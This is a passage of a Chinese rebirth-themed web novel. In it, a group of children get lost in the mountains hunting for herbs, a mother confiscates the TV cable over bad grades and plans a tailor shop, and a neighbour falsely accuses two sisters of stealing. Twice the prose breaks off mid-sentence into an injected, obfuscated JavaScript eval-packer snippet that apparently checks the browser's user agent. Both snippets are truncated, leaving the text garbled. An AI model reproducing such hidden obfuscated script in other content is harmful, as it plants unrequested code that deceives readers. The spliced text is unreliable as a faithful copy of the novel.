顺着小路往山坡上爬了七八分钟,太阳光照在身上,热得要命,陆易宁随便在路边找了一根木棍杵着,再次重复出发前的那句话,“陆易安,我们回家吧,草药没那么好找。而且,人家那个大多都是干草药,你就算能挖到,也是生的,还要费时费力晒干。” 刚才走的半个小时的路是平的,几人打打闹闹地走着,不算累。 只是一开始走向上的山间小路,郑煦就已经累了,“陆安安,你确定山坡里真的有那些东西吗?” 放眼望去,地里几乎都是叶片已经成熟干枯了的玉米。实在不像会有刺梨和中药的地方。 “我们语文老师说,山坡是大自然的肚子,什么都能生出来。”陆易安领在前头,喘着气说。 陆易宁停下来,转身去拉陆朵朵爬土坎,“你们语文老师真的是这么说的?” 陆易安:“反正意思就是这样。” “那能生出钱来吗?”陆果果在后面问。 陆易安:“别说钱了,小孩子都能生出来。” 郑煦附和道:“难怪我妈说你是菜地生的。” 山上的刺梨大多都已经熟透烂掉了,一路爬到山坡顶,几人就只摘了四五个勉强看得下去的。 刺梨不好找,野菊花要好找一点,最难找的是蜘蛛香。 陆易宁和陆易安负责找蜘蛛香,郑煦带着陆果果去摘野菊花。 蜘蛛香的叶片呈心形状,很好辨认。如果是生长在栽种玉米或者是烟叶的地方,通常会被来做农活的人们挖走。所以陆易宁和陆易安的主攻区域就是荒地偏坡,以及山林草地里。 太阳落山,山脚下已经成了阴凉地,半山腰和山顶还被太阳照射着。 郑煦找了几个小时,野菊花采摘了不少,刺梨只摘了三个,蜘蛛香只挖了十几株,比陆易安和陆易宁挖的少多了。 实在找不到,他干脆摆烂,什么都找。适合打水漂的石头片,捡起来。拿着称手的木棒,收起来,长得有刺的木棍,更是宝贝。 赵倩身体不舒服,六点提前下班回家,郑松在上班,她想喊个人去马路对面的熊大爷家她买点菠萝都喊不到。 睡了一觉醒来,天都快黑了,家里安安静静的,那几个孩子出去玩到现在都没回来。 赵倩去罗伟家里问黄兰,黄兰说中午看见几个孩子往她父亲家里去了。 赵倩又只好去父母家里问,结果父母刚做完农活从地里回来,压根没见着人。 赵倩从父母家开始,一路打听到家门口,周大爷扫完大街回到家,才告诉她中午听见几个孩子在马路上说什么去挖蜘蛛香的事。 天已经黑了,山里的林子深,现在又是秋天,山里都是玉米林子,根本不好找人。 林子深是小事,人贩子才是大事。 赵倩抓紧给郑松和刘秀珍,陆平打了电话,说孩子不见的事。 刘秀珍一听,心都凉了半截。 前段时间街上还在传最近经常有面包车停在路边,人贩子看见小孩就往车里拉。 村里的小孩去学校读书,以前都是成群结队上下学,无需家长送,因为走丢了几个孩子,父母都改成亲自接亲自送了。 本以为家在街边,马路上刚安了监控,碰不见这种事,可以松口气,结果那几个死孩子偏偏往没监控的山路跑。 距离陆易宁和郑煦乱跑刚过去两年,又到了到新一轮的找孩子环节。 这次更是重量级,四个都不见了。 * 山连着山,在山里,一条小路走到头,能碰见三条岔路。 白天陆易宁站在山顶,还能看见来时路,结果挖草药挖得太起劲,山顶没有太阳了才想着下山。而此时,她们已经从刚开始的那座山坡辗转去了另一座山坡。 只要太阳一落山,山里暗得特别快。 带来的水已经喝完了,比起水和食物,黑夜才是目前最该焦虑的困境。 陆易宁来不及慌乱,凭借着记忆里的路径原路返回,加上陆易安的指导,没有方向感的四人成功在山林里迷了路。 没事,山里的土地多,肯定有来做农活的大人。 得益于几个正要回家的农民指路,陆易宁成功带着另外三人从山间的小路爬到了山坳里的大马路上。 不过不是山脚的马路,是修在半山腰的马路。 陆易宁的计划是顺着小路往山脚下走,可以直达山脚的马路,到时候沿着马路回家。 结果按照大人们指的路走,走着走着就到大马路上了。 幸运的是今天的月亮很亮,不过要走山间小路,这点亮光实在是太微弱了。山里的路错综复杂,经常碰见岔路,顺着半山腰的马路走,也不一定能走到山脚下,很有可能去的是另一个村镇。 * 大人们骑着摩托车在路上到处喊他们的名字。 郑煦走在马路上,手里拿着三根棍子,走到哪打到哪,路边的野草全倒在他的棍棒下,他倒是轻松惬意。 饿是饿了点,但是在山上看见的月亮很好看,又圆又亮,跟在家里看的完全不一样。 一眼望去,整个山坳都是月白色的。 “郑阳阳,你是不是傻?来山里该找的不找,就找些烂木棍。”陆易安背着箩筐,走在后面,好几次差点被他的棍子打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四人排成一排站在院子里,陆平板起一张脸,“晓不晓得错哪儿了?” 陆果果边哭边说,“不该大晚上不回家。” 陆易安不服气,“又不是我们故意不回的,是找不到路了。” “你嘴巴又开始厉害了?”刘秀珍在家里听见她顶嘴,火气冒上来,“信不信老子马上拿棒棒来?” 陆易安:“……” 郑煦的认错态度很认真,“以后我再也不去了,大伯,你跟我妈说,今晚不要打我了行不行?” “你们也该打。”陆平教育道:“这段时间人贩子多的很,开着面包车,在路上看见小孩就拽进车里。在学校附近他们都不怕,你们还偏偏往他们最喜欢的山路跑。” 陆平放出狠话,“以后放学放假,你们谁再敢乱出去跑,我管你是挖药还是挖什么,我才不会像今天这样帮忙劝着,我也要跟着一块打!” 陆易宁默默地听着,没说话反驳。 人贩子的事她知道,不过那几个人贩子还没出省就被警察抓了。拐去的几个孩子过几天也会被警察送回家,当然,这一切还没发生,只有她知道。 40.第四十章 国庆假期结束,纺织厂大幅度裁员。赵倩因为怀有身孕,不用工厂领导开口,自己就把工作辞了。 离开工厂,本来就打算开店的赵倩没几天就上街选店面。 以前在四川时,她在网吧里打过一段时间的工。那间网吧不大,但是每天都有很多人来,想必老板的钱包每天都是哗哗进账。 风阳镇的街道分成上街和下街。郑陆两家住的地方便是下街的街口。 上一年,下街修街道,街道拓宽成了以前的两倍,修建街道时,不少人在街边建房子,就是为了租给别人做生意。 现在许多上铺集中在上游街,用不了多久,下游街道也会热闹起来。 赵倩选了一个离家比较近的商铺,铺子分成两部分,后面宽阔的那一间房用来上网,前面的一部分,则是卖一些吃的,比如饮料,泡面。 商铺里的墙面刚粉刷完,还在安装桌子。她不好在现场一直盯着,郑松今天不上班,带着郑煦去现场,赵倩终于可以回家躺着。 走路回家就几分钟的事。 * 学校期中考试结束,陆果果终于漏出了马脚。 学前班升一年级时,她的成绩是满分。一年级的数学期中考,她的数学光荣获得了二十五分的优秀成绩。 刘秀珍许久没检查女儿的学习情况,想着今天休息,瞅一眼。将几个女儿书包里的试卷翻出来看了一遍,看到的结果是大女儿每次测验,无论是语文还是数学,都在五六十这个分段。 令她欣慰的是二女儿依旧稳定发挥,心梗的是小女儿。 小家伙之前次次考一百,自从和李圆圆分开坐以后,啪叽一下掉到底,试卷上全是十几分,二十五已经是最高的分数。 天气已经开始变凉了,深秋的风吹不散刘秀珍眼前的阴霾。 肯定是看电视看的。 刘秀珍关掉电视机,三姐妹没一个敢说话。 怕被限制看电视的自由,陆易宁连忙说:“妈,陆果果成绩下降得厉害才不是因为电视。” “那是为什么?” “因为她之前的考试全是抄别人的答案。” “老师又没说我不能抄别人的。”陆果果理直气壮地说:“他只让我们把空填满,我填不满,就只能看别人的了。这次我本来能得高分的,谁让数学老师不准我看别人的答案,都怪数学老师。” 刘秀珍差点被女儿的话击晕,感情这小家伙现在才知道做试卷不能看别人的答案。 陆易宁身体向后躺,看了陆果果的后脑勺一眼。 挺圆的啊,也不扁呀! 嗯,是真笨,跟头扁头圆没关系。 刘秀珍哭笑不得,“测验测验,就是自己做自己的。你看别人的,那是别人想的答案,跟你有什么关系?” 陆果果有点不服气,“好嘛,那我以后自己写,不抄别人的了。” 刘秀珍的视线转至陆易安身上,陆易安早就编好了说辞,“我们是试卷太难了,最高的也才七十多分。” “人家张玉梅跟你同一张卷子能考八十多,你们两个不是一个班的吗?” 陆易安想反驳,但是反驳不了。 方一敏最喜欢做的事就是拿她家的张玉梅和陆易安做对比。 比学习,比懂事,比有礼貌,比聪明程度。 明面上看来,陆易安经常被老师批评,是被碾压的份。 “看电视,看电视,只知道看电视。”刘秀珍二话不说,走上前,把连接电视机和机盒的视频线扯了,指着陆易安和陆果果说:“你们两个,以后放学,必须给我待在楼上多学两个小时。” 多学两个小时是空话。 陆易宁心如死灰,躺睡在沙发椅上。老妈忙着上班,哪有心思盯那两个家伙学习。 不过,城墙失火,殃及池鱼是真的。 比回到家摸电视机温度还要做得绝的是,没收电视视频线。 从此,电视机就成了一个摆设,一个徒有其表,打开一看只有纯蓝色背景画面,没有丝毫内容的空壳。 “妈,那我能看吗?”陆易宁试着做最后的挣扎。 “你也不能!”刘秀珍将视频线裹成一团揣在口袋里,“你一看,你自己成绩下降,你姐你妹的成绩更会降!” “……” 赵倩回家来,碰巧撞见这一幕。 刘秀珍将大女儿小女儿赶去楼上学习,陆易宁待在楼下。 陆果果和陆易安跑回房间自然是不会学习的。 两人又开始给芭比娃娃做裙子。 赵倩的目光随着陆易安和陆果果的身影至二楼阳台,“怎么了?在路上都听见你在骂人。” “我要气死了,两个月没盯她们学习,今天一看,除了陆七七,没一个的分数看得下去的。” 赵倩以为是刘秀珍太苛刻,“哎哟,要考多少分你才满意啊?你以为谁都像陆七七啊?” 郑煦的学习成绩向来无需赵倩操心,那家伙贪是贪玩了点,但是成绩一直是排在前头的。 刘秀珍将窗户下方的木凳子拉到门口坐下,心累地说:“一个五十多分,一个十几二十分。” “……” 赵倩默了默,“哦,那是该操点心。” “厂里这个月更忙了,人越来越少,说是没订单,偏偏我们每天都在加班。”刘秀珍翘起二郎腿,一巴掌拍小腿肚上,“孩子学习盯不了,厂里的活越来越累,迟早要完啊,迟早要完。” “那就不去呗。” 陆易宁从屋里拿了一张木椅子出去给赵倩坐。 赵倩坐下来,笑着说,“姐,你是不知道我这一个月来,不用昼夜颠倒有多舒服。” “你不是说想要开做衣服的店吗?”赵倩鼓励道:“那就开呗,你有那个手艺,买个缝纫机,随便裁几块布,都比街上那几家死贵死贵的服装店里卖的好看。” 陆易宁听罢,连忙跑出来,“对啊对啊,妈,要不你别进厂了,我们听倩倩阿姨的吧。” “现在街面刚扩宽,还没几家店面。”赵倩说:“下街的租金便宜,我听我爸说,以后百货市场都要搬到下面来。等到明年,我们这条新街上的店面租金可能就贵了。” 刘秀珍担心道:“可是,我这些年不常做衣服,也不知道现在流行什么款式啊?” “妈,你忘了倩倩阿姨开的是什么店了吧。”陆易宁说:“网吧哎,现在用电脑一上网,什么都能查。别说衣服流行款式了,你还能在电脑上面打广告。人家城里现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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建材厂还在坚持,但是折腾到年底,给工人们发了相应的工资后,明年是否开工都是个未知数。 几年前,原本在外打工进厂的人回到故乡进厂。今年年底,都在到处打电话,找关系年后一起去广东,去浙江找活干。 刘秀珍离开工厂后,陆易宁每天都在她的耳朵边吹风,让她开个裁缝店试试水,加上赵倩的鼓励,陆平也说试一试无妨,刘秀珍总算愿意尝试一下没做过的事。 十二月中旬,刘秀珍在赵倩店铺隔壁的隔壁租了一间六十平米的房子。前面的房间用来做衣服,后面的房间是给客人量尺寸用的,另外再隔出了一个小房间,用来给客人换衣服。 对母亲开店的事,陆易宁一直持有积极态度。 前两世,母亲没有开店,而是在家里做一些散活,知道她手艺的人也就是家附近的人。 这一次,说不准能打出一阵名声呢。 网吧和制衣店中间的店铺是一家米粉店。 米粉店还没装修好,但是陆易宁已经想到以后去店里找老妈,一定要当米粉店的第一位客人。 41.四十一章 被剥夺了自由看电视的权利,几个月内,陆易安带着陆果果可谓是和刘秀珍斗智斗勇。 刘秀珍将视频线藏在后院猪圈的砖洞里,陆易安可以耐心地检查每一块砖。视频线被藏在干田里,陆易安能提着铲子将整块干田全部翻一遍。 藏完又找,找完又藏,反反复复。 刘秀珍离开工厂后,有了更多时间待在家,陆易安看电视更困难了。 最后,刘秀珍直接将视频线藏在一个最不可能的地方。 陆易安找了半个月没找到,两姐妹无奈,只能合伙出钱,去街上偷偷买了一根回来。 结果在安装视频线的时候,才发现原来的视频线好端端地插在电视机和机盒上。 果然啊,最危险的地方就是最安全的地方。 这段时间,刘秀珍在盯店铺装修,今天还要忙着和赵倩去县城里。她去选布匹,赵倩和郑松去电脑商城。 陆天松生病,陆平回吉长去侍疾。 没有一个大人在家,真的是难得的看电视时间。 陆易安装好视频线,打开电视机,周六一整天几乎都是坐在电视机前度过的。 陆易宁睡午觉睡到下午四五点,一下楼,陆易安和陆果果还在看电视。 陆易安是遥控器的主掌者,她想看什么看什么,陆果果想看动画片,求了她半天都没成功,只能被迫和她看偶像剧。 “你们还在看?!” 陆易宁推开门,陆易安还以为是谁,连忙起身去关电视,看见是陆易宁又坐回去。 陆易宁提醒道:“下周三就期末考试了,妈回来摸着电视机是烫的,你就倒大霉了。” 陆易安撑着下巴看偶像剧的男主摆出各种油腻的小动作,看得津津有味,“等会把窗子打开,让冷风吹进来,就不烫了。” “她一直看这个,看得我难受死了。”陆果果躺睡在木椅上,用毯子裹着自己的腿,瞪着陆易安的后脑勺骂道:“陆安安,霸王龙!” “你不懂。”陆易安回头看着她说:“这个才好看,动画片幼稚死了。” 陆果果:“看得我难受。” 陆易宁凑上去坐在陆果果的脚边,将毯子拉来盖住自己的膝盖,“难受就对了,你那是被男主油蒙了。” 看了一会儿电视,陆易宁看不下去,男主实在是太油了,就和陆果果回楼上给芭比娃娃做裙子。 陆易安继续跟个傻子一样对着电视机乐呵。 听见刘秀珍的声音出现在路口,陆易安终于从电视剧里抽离出来,赶紧关掉电视机。 将电视机前的一切恢复成原状后,陆易安才打开门,让冷风吹进屋给电视机降温。 刘秀珍回到家时,将买来的三角粑放在小饭桌上,先是检查火炉还烧着没,再是检查电饭锅里的米饭。 很好,早上煮的米饭还剩四分之三,一看就知道三个孩子今天只吃了一顿饭。 陆易安蹑手蹑脚地跟在刘秀珍身后,“妈,你们今天去县城吃了什么好吃的吗?” “吃了米粉。” 刘秀珍绕到电视机前,不用摸电视机的后面,光是站在电视机前就能感知到屏幕的温度。 陆易安撒开腿就跑,“我先上去做作业了!” 刘秀珍将视频线再次扯下来,“陆安安,你一天到晚只知道看电视,一点作业都没做是不是?” “下个星期就要考试了,你知不知道?” 刘秀珍的声音飘到二楼,陆易宁看着急冲冲跑回房间的陆易安,“你看,我就说嘛,这下好了。” 陆易安四仰八叉地躺在床上,丝毫不在意,“我还有另一根线。” * 期末考试随后而至,由于刘秀珍盯着,陆易安和陆果果被每天下午六点到八点这个时间段都被逼着坐在书桌前学习。 陆易宁还好,赵倩家的电视机限制条款没那么多,她忙完自己的,晚上还能去陪赵倩看电视剧。 刘秀珍允诺,只要期末考试结束,就归还看电视的权力,前提是陆易安和陆果果的语文数学必须及格。 对于陆易安来说,这容易,对于陆果果,这可太难了。 为了看电视,陆易安每天晚上都会额外给陆果果补课。 陆易宁看电视回来,经常撞见陆果果被陆易安揍哭。 也是,她教陆果果做题时,气哭的只能是自己。但是陆易安不是能气哭自己的人,要哭,也只能是别人哭。 期末考试结束,被陆易安揍了几天的陆果果终于可以松口气。 陆易安不用给陆果果补课,不用生气,陆果果又成了陆易安的可爱妹妹。 考试只考语文数学,上午九点至十一点半考语文,下午一点至三点考数学。 在陆易安的拳头恐吓之下,陆果果有生以来,第一次看得懂一点题目。 大学生已经放假了,周丽暑假实习没回来,寒假才回来。陆易宁又跑去周大爷家里找她玩,陆易安喊她上街她也不去。 赵倩的网吧在安装电脑,周星和郑煦恨不得一天都沾在店里。 从陆易宁那里抠来几块钱,陆易安带着陆果果上街去买芭比娃娃,家里的芭比娃娃太小了,需要买一个大一点的。 这样的话,等母亲的制衣裁缝店开店,就可以用好看的料子给她做衣服穿了。 熊大爷的水果摊摆放在街上的十字路口处。旁边的店有卖服装的,办电话卡的,卖文具的。 这些店的门口大多都是卖菜的摊贩。一些老头老太太会种一些菜上街卖,现在下街的菜市场还没建好,没有统一的去处,老人们摆摊的位置通常是在街上热闹的区域,随便一家店的店门口。 只要他们不挡着客人,店铺的老板们不会说什么的。 一个大喇叭摆在水果上,里面重复地播放着水果的喊卖录音。 “卖香蕉,十块钱五斤。”一句老人的声音后面,紧接着的是一个甜糯糯的小女孩声音,“买香刁,十块钱五斤~” 就像是爷爷教孙女说话一样,爷爷夹起声音说一句,小孙女在后面乖乖的说一句。 在冬日的寒风里,一老一少的叫卖声无疑是最温暖人心的爱意。 因为这个叫卖声,熊大爷的水果摊前经常有人来买水果,一听见喇叭里的小女孩的声音,心都快暖化了。 陆易安带着陆果果走出精品店,听见路口熊大爷水果摊的叫卖声,连忙跑过去。 喇叭里小女孩的声音是陆果果的,帮熊大爷录叫卖声的时候她才四岁。 当时熊大爷本想请陆易安帮忙录一下普通话版本的叫卖声,他想在路修好后开车去县城里卖水果,叫卖声里再加上普通话版本的声音会好一点,为此还专门买了一个新喇叭。 陆易安心生一计,回家喊上话都说不清楚的陆果果一起去熊大爷家里,一句一句地教陆果果说词儿。 可是一条路修到现在都没修好,他没机会去县城里卖水果,刚好前几天给孙女收拾房间,找到了被遗忘在墙角的喇叭,孙女说可以试试用不一样的叫卖声招揽生意。 他听完,干脆拿上街试试水。 事实证明,小孩子说话时,甜甜的声音很讨大人喜欢。附近的商家今天都来买水果了,还问是不是她的小孙女录的。 就是很多人是按着喇叭里播放的价格买水果,几年过去,有的水果价格低,有的水果价格高了一点。不过大差不差。 “熊爷爷,你的生意好好啊!”陆易安走到水果摊前。 四点还没到,熊大爷的水果摊上已经没有多少水果了。 熊大爷埋头给顾客找零钱,闻声抬头看了陆易安一眼,“安安来了。” “哎哟,喇叭里的声音就是你这个小孙女录的啊?真好听!”正在选橘子的一个女人被陆易安的声音引过去,目光随即落在陆果果脸上。 小姑娘圆头圆脑的,小脸圆嘟嘟的,耳朵后面绑着两个手指头长的小揪揪,双手抱着一个穿粉裙子的芭比娃娃,大眼睛一直盯着木桌上所剩不多的甘蔗看,长长的睫毛扑闪扑闪的。 “谢谢嬢嬢。”陆易安拉着陆果果凑到女人跟前,指着她口袋里的橘子说:“我妹妹很喜欢吃这个橘子,爷爷卖的橘子很甜的,吃了一个保证停不下来哦,是不是啊,小果儿?” “是。”陆果果重重地点头。 女人笑呵呵地说:“好好好,我再多买一点。” 没几分钟,橘子没了,甘蔗也没了。 熊大爷抽出空问陆易安,“安安,你和妹妹想选什么抓紧选,待会没了。” 陆易安看了陆果果一眼说:“我想吃甘蔗,等下次赶集,我再来买吧。” “我怎么会收你的钱呢?甘蔗我家里面有两根,你带着妹妹去我家,我家门没关,乐乐在家呢,她会拿给你的。” 陆易安问:“住在你家里的那个姐姐叫乐乐吗?” “对啊,她叫乐乐,她刚来几天,有点害羞,不喜欢出来玩,你别觉得她是在给你甩脸子啊。” “好的。”陆易安牵着陆果果离开,“熊爷爷你忙吧。” …… 方一敏坐在零食店收银台后面守店,一个抬眸,就瞅见马路对面,陆易安和陆果果推开熊大爷家里的门。 没一会,两个小家伙抱着一根长甘蔗出来,每人手里还拿着一个橙子。 对陆易安,方一敏一直记恨着呢。 不就是几年前多收了她几块钱的零食钱吗,这死丫头硬是撺掇着周围的小孩不来家里买零食,害得她一个多月没有一点生意。 好啊,现在被抓着小辫子了吧,居然敢当着自己的面开别人家的门偷东西。 天黑之前,刘秀珍关好店门,和赵倩一块回家。经过零食店时,方一敏便添油加醋地说陆易安带着妹妹去熊大爷家里偷东西。 刘秀珍问了熊大爷家附近的邻居,都说了陆易安从熊大爷家里拿了一根甘蔗的事。 刘秀珍生气地回到家,她还没问呢,陆易安和陆果果已经被陆平揍了一顿。 陆平今天从吉长回来,回家的路上,方一敏一看见他,恨不得用尽最大的声音在大马路上说陆易安和陆果果会偷东西。不仅如此,她还编排两姐妹会别人家的撬门,让附近的人把门锁好。 回到家,陆平看见大女儿和小女儿在吃甘蔗,二话不说,将甘蔗抢过来就开始教训孩子。 他不喜欢打孩子,但是一旦孩子犯了原则性的错误,他打得更严重。 陆易宁听见哭声跑回家时,陆果果蹲在墙角一直哭,陆易安虽然掉眼泪,但是没怎么哭出声。 “我没偷,是熊爷爷喊我去他家拿的甘蔗,是谁说我偷东西的?” 再三解释都没人听,陆易安气得往门口冲,又被陆平拖回去,给了她的后背一巴掌。 “我找到她我不打死她!” 陆平不苟言笑地骂道:“你还打死她,你敢偷东西,你厉害得很!” “爸,你怎么又是别人说什么你信什么。”眼看父亲手中的烧火棍要打在陆易安身上,陆易宁急忙从门口冲进去挡着,“人家说一句话你就信,你自己的孩子你不信。她说是熊爷爷给的,你等熊爷爷回家,自己去问不就知道了?” “你走开,陆七七。”陆平已经气昏头了,陆天松生病,他本来就烦闷,女儿还学会了偷东西,直接气炸了。 赵倩跑进屋,赶紧将他手上的烧火棍卸下来,“哎哟,陆哥,你家陆安安是什么性格你还不知道吗?万一是人家方一敏看错了呢?” 刘秀珍虽气,但是比陆平冷静得多,“熊大爷还没回家,如果陆安安真偷了他家的东西,我们问清楚,再打也不迟。” 听见方一敏这个名字,陆易安擦干眼泪,在大人们歇口气的时候,跑出了家门。 陆易宁跟在她身后,陆易安直奔方一敏的零食店。 陆易安冲进零食店,二话不说,先把摆放在柜台上面的罐装糖果和烟架子全推倒在地上,“方一敏,你说我偷东西,你把证据拿出来,你不拿出来我今天就把你店砸了!” “你做什么呢?”方一敏被吓了一跳,“你爸妈没教好你啊?来我家发什么疯?” “谁让你说我偷东西!”陆易安在她店里大喊大叫,“你哪只眼睛看到的?你证据呢?” “我两只都看到了。”方一敏走出柜台,双手叉腰站在陆易安面前,“我去喊你爸妈来,看来你是真的欠收拾。”

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